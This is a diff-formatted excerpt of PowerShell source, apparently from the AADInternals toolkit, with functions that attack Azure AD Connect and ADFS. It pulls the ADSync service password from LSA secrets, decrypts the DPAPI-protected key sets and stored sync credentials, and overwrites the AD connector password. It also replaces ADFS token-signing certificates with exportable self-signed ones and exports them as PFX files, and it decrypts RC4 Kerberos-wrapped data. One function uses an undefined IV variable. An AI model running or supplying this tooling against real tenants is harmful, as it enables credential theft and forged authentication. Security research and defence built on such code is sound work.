$ADDecryptedConfig=@"
|
||||
<encrypted-attributes>
|
||||
<attribute name="Password">$NewPassword</attribute>
|
||||
</encrypted-attributes>
|
||||
"@
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
|
||||
# Load keys
|
||||
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
|
||||
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
|
||||
$key = $null
|
||||
$KeyMgr.GetActiveCredentialKey([ref]$key)
|
||||
$key2 = $null
|
||||
$KeyMgr.GetKey(1, [ref]$key2)
|
||||
|
||||
# Encrypt
|
||||
$ADCryptedConfig = $null
|
||||
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$ADCryptedConfig)
|
||||
|
||||
# Write the updated AA password
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE ma_type = 'AD'"
|
||||
$SQLcmd.Parameters.AddWithValue("@pwd",$ADCryptedConfig) | Out-Null
|
||||
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
|
||||
$SQLclient.Close()
|
||||
|
||||
if($UpdatedRows -ne 1)
|
||||
{
|
||||
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
|
||||
return
|
||||
}
|
||||
|
||||
Write-Host "Password successfully updated to AD and configuration database!"
|
||||
|
||||
# Return
|
||||
Get-SyncCredentials -force
|
||||
|
||||
# Restart the ADSync service if requested
|
||||
if($RestartADSyncService)
|
||||
{
|
||||
Restart-Service ADSync
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Decrypts AD and AAD passwords with the given key and IV
|
||||
# May 3rd 2020
|
||||
function Get-DecryptedConfigPassword
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$InitialVector
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create the AES decryptor
|
||||
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
|
||||
$aes.Mode = "CBC"
|
||||
$aes.Key = $Key
|
||||
$aes.IV = $iv.ToByteArray()
|
||||
$dc=$aes.CreateDecryptor()
|
||||
|
||||
# Decrypt the data
|
||||
$decData = $dc.TransformFinalBlock($Data,0,$Data.Length)
|
||||
|
||||
# Convert to xml and get the password
|
||||
[xml]$decDataXml = ([text.encoding]::Unicode.GetString($decData)).trimEnd(@(0x00,0x0a,0x0d))
|
||||
$decPassword = $decDataXml.'encrypted-attributes'.attribute.'#text'
|
||||
|
||||
Write-Verbose "DecryptedConfigPassword: $($decDataXml.OuterXml)"
|
||||
|
||||
# Return
|
||||
return $decPassword
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Encrypts AD or AAD password with the given key and IV
|
||||
# May 3rd 2020
|
||||
function New-EncryptedConfigPassword
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Password,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$InitialVector
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Escaping password for xml
|
||||
$NewPassword = [System.Security.SecurityElement]::Escape($Password)
|
||||
|
||||
# Create the AES encryptor
|
||||
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
|
||||
$aes.Mode = "CBC"
|
||||
$aes.Key = $Key
|
||||
$aes.IV = $initialVector
|
||||
$en=$aes.CreateEncryptor()
|
||||
|
||||
# Encrypt the data
|
||||
$data = "<encrypted-attributes><attribute name=""password"">$NewPassword</attribute></encrypted-attributes>"
|
||||
$binData = [text.encoding]::Unicode.GetBytes($data)
|
||||
$encData = $en.TransformFinalBlock($binData,0,$binData.Length)
|
||||
|
||||
Write-Verbose "EncryptedConfigPassword: $(Convert-ByteArrayToHex -Bytes $encData)"
|
||||
|
||||
# Return
|
||||
return $encData
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Retrieves ADSync encryption key used to encrypt and decrypt configuration data
|
||||
# May 3rd 2020
|
||||
function Get-SyncEncryptionKey
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADSync encryption key using the given entropy and instance id
|
||||
|
||||
.DESCRIPTION
|
||||
Gets the ADSync encryption key used to encrypt and decrypt passwords for service users of Azure AD and local AD
|
||||
|
||||
.Example
|
||||
Get-AADIntSyncEncryptionKey -Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca -InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
|
||||
|
||||
Id Guid CryptAlg Key
|
||||
-- ---- -------- ---
|
||||
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
|
||||
|
||||
.Example
|
||||
$key_info = Get-AADIntSyncEncryptionKeyInfo
|
||||
|
||||
PS C:\>Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceId
|
||||
|
||||
Id Guid CryptAlg Key
|
||||
-- ---- -------- ---
|
||||
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[guid]$Entropy,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[guid]$InstanceId,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[int]$KeySetId = 1
|
||||
)
|
||||
|
||||
# Define the return variable
|
||||
$retVal = $null
|
||||
|
||||
# Get the stored password for the ADSync service
|
||||
$ServiceSecret=Get-LSASecrets -Service "ADSync"
|
||||
|
||||
Write-Verbose "UserName: $($ServiceSecret.Account)"
|
||||
Write-Verbose "Password: $($ServiceSecret.PasswordTxt)`n`n"
|
||||
|
||||
# As we now know the password of the user, we can get user masterkeys without system masterkey
|
||||
# Get user's masterkeys and decode them with password
|
||||
$masterKeys = Get-UserMasterkeys -Credentials $ServiceSecret.Credentials
|
||||
|
||||
# Get user's credentials with the masterkeys
|
||||
$credentials = Get-LocalUserCredentials -UserName $ServiceSecret.Credentials.UserName -MasterKeys $masterKeys
|
||||
|
||||
$targetCred = $null
|
||||
|
||||
# If instance id not provided, just get the first one
|
||||
if($InstanceId -eq $null)
|
||||
{
|
||||
$targetCred = $credentials[0]
|
||||
}
|
||||
else
|
||||
{
|
||||
# Try to find the correct credential entry
|
||||
foreach($cred in $credentials)
|
||||
{
|
||||
# Check the target, we are looking for:
|
||||
$targetKeySet = "LegacyGeneric:target=Microsoft_AzureADConnect_KeySet_{$($instanceid.ToString().ToUpper())}_$([System.BitConverter]::GetBytes([uint64]$KeySetId)[0..5] -join '')"
|
||||
|
||||
if($cred.Target -eq $targetKeySet)
|
||||
{
|
||||
$targetCred = $cred
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
# The keyset is actually a DPAPIBlob, so decrypt it using a native DPAPI method in LOCAL MACHINE context
|
||||
$keySet = [Security.Cryptography.ProtectedData]::Unprotect($targetCred.Secret,$entropy.toByteArray(),'LocalMachine')
|
||||
Write-Verbose "KeySet: $(Convert-ByteArrayToHex -Bytes $keySet)"
|
||||
|
||||
# Parse the keyset
|
||||
$key = Parse-KeySetBlob -Data $keySet
|
||||
}
|
||||
catch{} # Okay
|
||||
|
||||
return $key
|
||||
}
|
||||
|
||||
# Parses the MMSK key set blob
|
||||
# May 3rd 2020
|
||||
function Parse-KeySetBlob
|
||||
{
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Parse the KeySet
|
||||
$p=4 # Skip the MMSK string at the beginning
|
||||
$version = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$id = [System.BitConverter]::ToInt32($Data[($p+3)..($p)]);$p+=4
|
||||
$guid = [guid][byte[]]$Data[$p..$($p+15)]; $p+=16
|
||||
$unk0 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk1 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk3 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk4 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$keyBlockSize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$secondKeySize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk7 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk8 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk9 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk10 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk11 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk12 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$enAlg = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$keyLength = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$key = $Data[$p..$($p+$keyLength-1)]; $p+=$keyLength
|
||||
#$unk15 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
#$enAlg2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
#$keyLength2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
#$key2 = $Data[$p..$($p+$keyLength2-1)]; $p+=$keyLength2
|
||||
|
||||
Write-Verbose "*** KEYSET ***"
|
||||
Write-Verbose "Id: $id"
|
||||
Write-Verbose "Guid: $guid"
|
||||
Write-Verbose "CryptAlg: $enAlg $($ALGS[$enAlg])"
|
||||
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)`n`n"
|
||||
|
||||
$attributes=[ordered]@{
|
||||
"KeySetId" = $id
|
||||
"InstanceId" = $guid
|
||||
"CryptAlg" = $enAlg
|
||||
"Key" = $key
|
||||
}
|
||||
|
||||
return New-Object PSObject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Gets entropy and instanceid from the local configuration database
|
||||
# May 6th 2020
|
||||
function Get-SyncEncryptionKeyInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADSync encryption key info from the local configuration database
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADSync encryption key info from the local configuration database
|
||||
|
||||
.Example
|
||||
Get-AADIntSyncEncryptionKeyInfo
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
|
||||
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
$SQLClient.Close()
|
||||
|
||||
return New-Object PSObject ([ordered]@{Entropy = $entropy; InstanceId = $instance_id})
|
||||
}
|
||||
|
||||
# Gets the db connection string from the registry
|
||||
# May 11th
|
||||
function Get-AADConfigDbConnection
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Begin
|
||||
{
|
||||
# Create the connection string for the configuration database
|
||||
$parametersPath = "HKLM:\SYSTEM\CurrentControlSet\Services\ADSync\Parameters"
|
||||
$dBServer = (Get-ItemProperty -Path $parametersPath).Server
|
||||
$dBName = (Get-ItemProperty -Path $parametersPath).DBName
|
||||
$dBInstance = (Get-ItemProperty -Path $parametersPath).SQLInstance
|
||||
$connectionString = "Data Source=$dbServer\$dBInstance;Initial Catalog=$dBName"
|
||||
|
||||
# If not using local WID, use ADSync account credentials
|
||||
if($dBServer -ne "(localdb)")
|
||||
{
|
||||
$connectionString += ";Integrated Security=true"
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
Write-Verbose "ConnectionString=$connectionString"
|
||||
|
||||
return $connectionString
|
||||
}
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
# This file will export AAD Connect credentials in a backgroud process
|
||||
# so that the current PowerShell session is not elevated.
|
||||
# Called from Get-SyncCredentials if -AsBackgroundProcess equals $true (=default)
|
||||
|
||||
# Add AADInternals dll to be able to elevate
|
||||
Add-Type -path "$PSScriptRoot\Win32Ntv.dll"
|
||||
|
||||
# Import required AADInternals PowerShell scripts
|
||||
. "$PSScriptRoot\CommonUtils.ps1"
|
||||
. "$PSScriptRoot\AADSyncSettings.ps1"
|
||||
|
||||
# Get the credentials as PSObject
|
||||
$credentials = Get-SyncCredentials -AsBackgroundProcess $false
|
||||
|
||||
# Convert to JSON string and return
|
||||
return $credentials | ConvertTo-Json -Compress
|
||||
-932
@@ -1,932 +0,0 @@
|
||||
# Updated Apr 22nd 2021
|
||||
|
||||
|
||||
#May 24th 2019
|
||||
function New-ADFSSelfSignedCertificates
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates new self-signed Token Signing and Token Decrypt certificates for ADFSService
|
||||
|
||||
.Description
|
||||
Disables auto rollover and creates new self-signed Token Signing and Token Decrypt certificates for ADFSService.
|
||||
Certificates are added to ADFS and the service is restarted. Certificates are also saved to the current directory.
|
||||
|
||||
.Parameter PfxPassword
|
||||
Password for the Token Signing and Token Decrypt .pfx files. Default is "AADInternals".
|
||||
|
||||
.Example
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
|
||||
.Example
|
||||
New-AADIntADFSSelfSignedCertificates -PfxPassword "MyPassword"
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxPassword="AADInternals",
|
||||
[Switch]$Force
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
# Set the password
|
||||
$CertificatePassword = ConvertTo-SecureString -String $pfxPassword -Force -AsPlainText
|
||||
|
||||
# Check the auto rollover status
|
||||
if(!$Force -and !(Get-AdfsProperties).AutoCertificateRollover)
|
||||
{
|
||||
Write-Error "Certificate Auto Rollover is allready disabled!"
|
||||
return
|
||||
}
|
||||
|
||||
# Disable auto rollover
|
||||
Set-ADFSProperties -AutocertificateRollover $false
|
||||
|
||||
# Get the current certificates
|
||||
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
|
||||
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
|
||||
|
||||
# Create new certificates with the same name and store to LocalMachine store
|
||||
$New_SigningCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_SigningCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_SigningCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
|
||||
$New_DecryptCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_DecryptCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_DecryptCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
|
||||
|
||||
# Export the new certificates
|
||||
Export-PfxCertificate -FilePath "ADFS_Token_Signing.pfx" -Password $CertificatePassword -Cert $New_SigningCertificate |Out-Null
|
||||
Export-PfxCertificate -FilePath "ADFS_Token_Decrypt.pfx" -Password $CertificatePassword -Cert $New_DecryptCertificate |Out-Null
|
||||
|
||||
# Add certificates to ADFS
|
||||
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint
|
||||
Add-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint
|
||||
|
||||
# Set the new ones as primary
|
||||
Set-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint -IsPrimary
|
||||
Set-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint -IsPrimary
|
||||
|
||||
# Remove the old ones from ADFS
|
||||
Remove-AdfsCertificate -CertificateType Token-Signing -Thumbprint $Cur_SigningCertificate.Thumbprint
|
||||
Remove-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $Cur_DecryptCertificate.Thumbprint
|
||||
|
||||
# Get the ADFS service information
|
||||
$Service=Get-WMIObject -namespace "root\cimv2" -class Win32_Service -Filter 'Name="ADFSSRV"'
|
||||
|
||||
# Create an accessrule for private keys
|
||||
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $service.StartName, "read", allow
|
||||
$Root = "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys"
|
||||
|
||||
# Give read permissions to private key of Signing Certificate
|
||||
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_SigningCertificate)
|
||||
$fileName = $rsaCert.key.UniqueName
|
||||
$path="$Root\$fileName"
|
||||
$permissions = Get-Acl -Path $path
|
||||
$permissions.AddAccessRule($AccessRule)
|
||||
Set-Acl -Path $path -AclObject $permissions
|
||||
|
||||
# Give read permissions to private key of Decryption Certificate
|
||||
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_DecryptCertificate)
|
||||
$fileName = $rsaCert.key.UniqueName
|
||||
$path="$Root\$fileName"
|
||||
$permissions = Get-Acl -Path $path
|
||||
$permissions.AddAccessRule($AccessRule)
|
||||
Set-Acl -Path $path -AclObject $permissions
|
||||
|
||||
# Restart ADFS service
|
||||
Restart-Service ADFSSrv
|
||||
|
||||
# Output
|
||||
Write-Host "Certificates successfully created and added to ADFS!"
|
||||
Write-Host "Certificates also exported to ADFS_Token_Decrypt.pfx and ADFS_Token_Signing.pfx using password `"$PfxPassword`""
|
||||
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
|
||||
}
|
||||
}
|
||||
|
||||
#May 24th 2019
|
||||
function Restore-ADFSAutoRollover
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Restores ADFS to "normal" mode: Token Signing and Token Decryption certificates are automatically rolled over once a year.
|
||||
|
||||
.Description
|
||||
Enables certificate auto rollover, updates Token Signing and Token Decryption certificates and removes the old self-signed certificates.
|
||||
|
||||
.Example
|
||||
Restore-AADIntADFSAutoRollover
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Switch]$Force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the auto rollover status
|
||||
if(!$Force -and (Get-AdfsProperties).AutoCertificateRollover)
|
||||
{
|
||||
Write-Error "Certificate Auto Rollover is allready enabled!"
|
||||
return
|
||||
}
|
||||
|
||||
# Enable auto rollover
|
||||
Set-ADFSProperties -AutocertificateRollover $true
|
||||
|
||||
# Get the current certificates
|
||||
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
|
||||
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
|
||||
|
||||
# Update certificates
|
||||
Update-AdfsCertificate -CertificateType Token-Signing -Urgent
|
||||
Update-AdfsCertificate -CertificateType Token-Decrypting -Urgent
|
||||
|
||||
# Remove the old certificates from the certificate store
|
||||
Remove-Item "Cert:\LocalMachine\My\$($Cur_SigningCertificate.Thumbprint)" -ErrorAction SilentlyContinue
|
||||
Remove-Item "Cert:\LocalMachine\My\$($Cur_DecryptCertificate.Thumbprint)" -ErrorAction SilentlyContinue
|
||||
|
||||
# Restart ADFS service
|
||||
Restart-Service ADFSSrv
|
||||
|
||||
# Output
|
||||
Write-Host "Autorollover succesfully turned on and old certificates removed from ADFS and certstore."
|
||||
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
|
||||
}
|
||||
}
|
||||
|
||||
#May 25th 2019
|
||||
function Update-ADFSFederationSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Updates federation information of the given domain to match the local ADFS server information.
|
||||
|
||||
.Description
|
||||
Updates federation information of the given domain to match the local ADFS server information.
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token
|
||||
|
||||
.Parameter Domain
|
||||
The domain to be updated
|
||||
|
||||
.Example
|
||||
Update-AADIntADFSFederationSettings -Domain company.com
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$DomainName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Get the current settings from cloud
|
||||
$FederationSettings = Get-DomainFederationSettings -DomainName $DomainName -AccessToken $AccessToken
|
||||
|
||||
# Get the current certificates
|
||||
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
|
||||
|
||||
#$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pkcs12))
|
||||
$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.GetRawCertData())
|
||||
|
||||
# Check the settings
|
||||
if($Cur_PublicKey -eq $FederationSettings.SigningCertificate)
|
||||
{
|
||||
Write-Host "Settings already up to date!"
|
||||
return
|
||||
}
|
||||
|
||||
# Update federation settings
|
||||
Set-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName `
|
||||
-ActiveLogOnUri $FederationSettings.ActiveLogOnUri `
|
||||
-FederationBrandName $FederationSettings.FederationBrandName `
|
||||
-IssuerUri $FederationSettings.IssuerUri `
|
||||
-LogOffUri $FederationSettings.LogOffUri `
|
||||
-MetadataExchangeUri $FederationSettings.MetadataExchangeUri `
|
||||
-PassiveLogOnUri $FederationSettings.PassiveLogOnUri `
|
||||
-PreferredAuthenticationProtocol $FederationSettings.PreferredAuthenticationProtocol `
|
||||
-SigningCertificate $Cur_PublicKey
|
||||
|
||||
Write-Host "Federation information updated!"
|
||||
}
|
||||
}
|
||||
|
||||
# Parses GSS_Wrap and returns the encrypted data part
|
||||
# Apr 1st 2021
|
||||
function Parse-GSS_Wrap
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Byte[]]$Data,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Byte[]]$SessionKey,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Initiator','Acceptor')]
|
||||
[String]$Direction = 'Initiator',
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Int]$SequenceNumber,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$Type = 23 # 23 = rc4-hmac, 18 = aes256-cts-hmac-sha1-96
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Type -eq 18 ) # aes256-cts-hmac-sha1-96
|
||||
{
|
||||
# TODO: implement support for this
|
||||
Throw "Unsupported GSS_WRAP type: $Type"
|
||||
|
||||
$s = 0
|
||||
|
||||
# Get the token header information
|
||||
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
|
||||
$Flags = $Data[ $s] ; $s+=1
|
||||
$Filler = $Data[ $s] ; $s+=1
|
||||
$EC = $Data[$s..($s+1)] ; $s+=2
|
||||
$RRC = $Data[$s..($s+1)] ; $s+=2
|
||||
$SND_SEQ = $Data[$s..($s+7)] ; $s+=8
|
||||
|
||||
[array]::Reverse($RRC)
|
||||
$rotations = [bitconverter]::TouInt16($RRC,0)
|
||||
|
||||
|
||||
[array]::Reverse($SND_SEQ)
|
||||
if([bitconverter]::TouInt32($SND_SEQ,0) -ne $SequenceNumber)
|
||||
{
|
||||
Write-Warning "Sequence number mismatch!"
|
||||
}
|
||||
|
||||
# Extract token information
|
||||
$encData = $Data[$s..($data.Count - 1)]
|
||||
|
||||
# Rotate the data
|
||||
for($r = 0; $r -lt $rotations; $r++)
|
||||
{
|
||||
$t = $encData[$encData.Count-1]
|
||||
for($i = $encData.Count-1 ; $i -gt 0; $i--)
|
||||
{
|
||||
$encData[$i] = $encData[$i-1]
|
||||
}
|
||||
$encData[0] = $t
|
||||
|
||||
}
|
||||
$encData | Format-Hex
|
||||
|
||||
return
|
||||
}
|
||||
elseif($Type -eq 23) # rc4-hmac
|
||||
{
|
||||
|
||||
# Generate the sequence number from the given integer and add "direction" bytes
|
||||
$SND_SEQ = [System.BitConverter]::GetBytes([uint32]$SequenceNumber)
|
||||
[Array]::Reverse($SND_SEQ)
|
||||
if($Direction -eq 'Initiator')
|
||||
{
|
||||
$SND_SEQ += @(0xff, 0xff, 0xff, 0xff)
|
||||
}
|
||||
else
|
||||
{
|
||||
$SND_SEQ += @(0x00, 0x00, 0x00, 0x00)
|
||||
}
|
||||
|
||||
# Get object identifier
|
||||
$tokLen = $Data[1]
|
||||
$oidLen = $Data[3]
|
||||
$oid = Convert-BytesToOid -Bytes $Data[4..(4+$oidLen-1)]
|
||||
$s = 4+$oidLen
|
||||
|
||||
# Save the header for checksum calculation
|
||||
$TOKEN_HEADER = $Data[$s..($s+7)]
|
||||
|
||||
# Get the token header information
|
||||
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
|
||||
$SGN_ALG = $Data[$s..($s+1)] ; $s+=2
|
||||
$SEAL_ALG = $Data[$s..($s+1)] ; $s+=2
|
||||
$Filler = $Data[$s..($s+1)] ; $s+=2
|
||||
|
||||
# Extract token information
|
||||
$encSND_SEQ = $Data[$s..($s+7)] ; $s+=8
|
||||
$SGN_CHKSUM = $Data[$s..($s+7)] ; $s+=8
|
||||
$encSGN_Confounder = $Data[$s..($s+7)] ; $s+=8
|
||||
$encData = $Data[$s..($data.Count - 1)]
|
||||
|
||||
# Validation
|
||||
# Token id should be 0x0102
|
||||
if(($tid=[System.BitConverter]::ToInt16($TOK_ID,0)) -ne 0x102)
|
||||
{
|
||||
Write-Warning "Unknown TOKEN_ID ($tid), expected 256"
|
||||
}
|
||||
# Signing algorithm should be HMAC 0x0011
|
||||
if(($sgalg=[System.BitConverter]::ToInt16($SGN_ALG,0)) -ne 0x11)
|
||||
{
|
||||
Write-Warning "Unknown SGN_ALG ($sgalg), expected HMAC (17)"
|
||||
}
|
||||
# Encryption algorithm should be RC4 0x0010
|
||||
if(($enalg=[System.BitConverter]::ToInt16($SEAL_ALG,0)) -ne 0x10)
|
||||
{
|
||||
Write-Warning "Unknown SEAL_ALG ($enalg), expected RC4 (16)"
|
||||
}
|
||||
|
||||
# Generate signature key by calculating MD5 HMAC from "signaturekey"+0x00 using the session key
|
||||
$Ksign = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([text.encoding]::UTF8.GetBytes("signaturekey`0"))
|
||||
|
||||
# Generate decryption keys
|
||||
$Klocal = New-Object byte[] $SessionKey.Count
|
||||
for($a = 0 ; $a -lt $SessionKey.Count ; $a++)
|
||||
{
|
||||
$Klocal[$a] = $SessionKey[$a] -bxor 0xF0
|
||||
}
|
||||
|
||||
$Kseq = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
|
||||
$Kseq = [System.Security.Cryptography.HMACMD5]::New($Kseq ).ComputeHash($SGN_CHKSUM)
|
||||
|
||||
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Klocal ).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
|
||||
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Kcrypt ).ComputeHash($SND_SEQ[0..3])
|
||||
|
||||
# Decrypt sequence number
|
||||
$decSND_SEQ = Get-RC4 -Key $Kseq -Data $encSND_SEQ
|
||||
if(Compare-Object -ReferenceObject $decSND_SEQ -DifferenceObject $SND_SEQ -SyncWindow 0)
|
||||
{
|
||||
Write-Warning "Sequence number mismatch!"
|
||||
}
|
||||
|
||||
# Decrypt data
|
||||
$decSGN_Confounder = Get-RC4 -Key $Kcrypt -Data $encSGN_Confounder
|
||||
